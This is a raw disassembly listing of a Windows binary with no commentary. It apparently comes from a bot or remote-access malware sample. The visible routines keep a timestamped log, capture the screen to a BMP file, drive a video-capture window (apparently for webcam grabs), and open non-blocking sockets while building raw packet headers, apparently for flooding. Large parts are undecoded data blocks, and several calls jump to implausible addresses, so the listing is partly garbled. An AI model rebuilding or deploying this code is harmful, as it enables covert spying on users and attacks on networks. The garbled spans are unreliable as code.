byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 0BB7EE856h, 5590022Dh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0C135E800h, 2B900228h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF18h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D57068h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 69D0E9E8h, 89669071h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435EE4h, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 0E8006A14h, 22DB8BCh, 0EC8B5590h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h, 4CAFB415h dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 7415FF00h, 66004CAFh, 8DDE4589h, 90500C45h dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7283Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D57068ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h, 223D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h, 246852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE308h, 0FFF475FFh, 4CAFD815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 38E890FCh, 2B0228BCh, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0B4BEE856h dd 5F90022Dh ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF1C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF5C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi call near ptr 71AB4122h nop cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh dd 26A5104h, 98A35053h, 0FF004CE7h, 4CAF5415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CAFF415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h dd 0A366286Ah, 4CE73Ch, 0AF7415FFh, 0D80004Ch, 4CE740h dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh dd 7905C600h, 6004CE7h, 0AF7415FFh, 0A366004Ch, 4CE77Ah dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h, 4CBE5905h dd 0BF004CE7h, 4CE77Ch, 421D8966h, 66004CE7h, 0E75C1D89h dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h, 286A5300h dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 8CE890FFh, 2B0228B5h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 27AF5BE8h dd 0FDC2E902h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D130 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCB0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D130[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D148[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_429230 pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436148 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D130 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_436134 lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCB0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 27901DBh mov ebx, offset dword_4D2B9C mov edi, 80h mov esi, offset dword_4CEB9C loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEB9C xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2B9C jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_436194 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_436180 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361C4 push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEB9C loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2B9C jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361A8 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h, 46h, 0ACh dd 5E5F022Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF60 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAF7C push 0Ah push edi mov [ebp+var_8], eax call dword_4CAF7C push 0Ch push edi mov [ebp+var_C], eax call dword_4CAF7C cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAF7C mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFC0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFB8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE44 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFBC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAE98 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 27108ABh cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call near ptr 2700000h nop lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 2700000h cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 2700000h loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 2700000h push [ebp+arg_0] nop call near ptr 2670822h push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAED0 push [ebp+var_4] call dword_4CAE30 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE30 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE30 push [ebp+var_4] call dword_4CAE30 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF14 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF14 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] 